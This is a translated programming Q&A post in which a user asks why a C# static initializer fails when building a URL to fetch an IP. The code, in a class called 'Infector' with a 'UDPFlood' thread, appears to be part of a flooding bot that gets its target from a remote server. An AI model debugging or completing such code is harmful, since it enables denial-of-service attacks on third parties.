【发布时间】:2014-05-29 05:51:29
【问题描述】:
由于某种原因,在输入时
public static Thread UDP = new Thread(UDPFlood);
public static string IP = GetIP();
public static string ownerURL = "{url}";
public static string GetIP()
{
ownerURL = ownerURL.Replace("{url}","http://www.test.com");
WebClient ipGrabber = new WebClient();
return ipGrabber.DownloadString(ownerURL + "/getIP.php");
}
它抛出这个错误:
System.TypeInitializationException:类型初始化器 'Infector.FormMain' 抛出异常。 ---> System.Net.WebException: 找不到文件“C:\getIP.php”。 ---> System.Net.WebException: 找不到文件“C:\getIP.php”。 ---> System.IO.FileNotFoundException: 找不到文件'C:\getIP.php'。
基本上,在使用字符串 + /getIP.php 时,它会在我的计算机上查找目录,而不是在网络上。
【问题讨论】:
-
那一定是替换不起作用,这有什么意义呢?
-
你能在
return处设置断点并验证ownerURL是什么吗?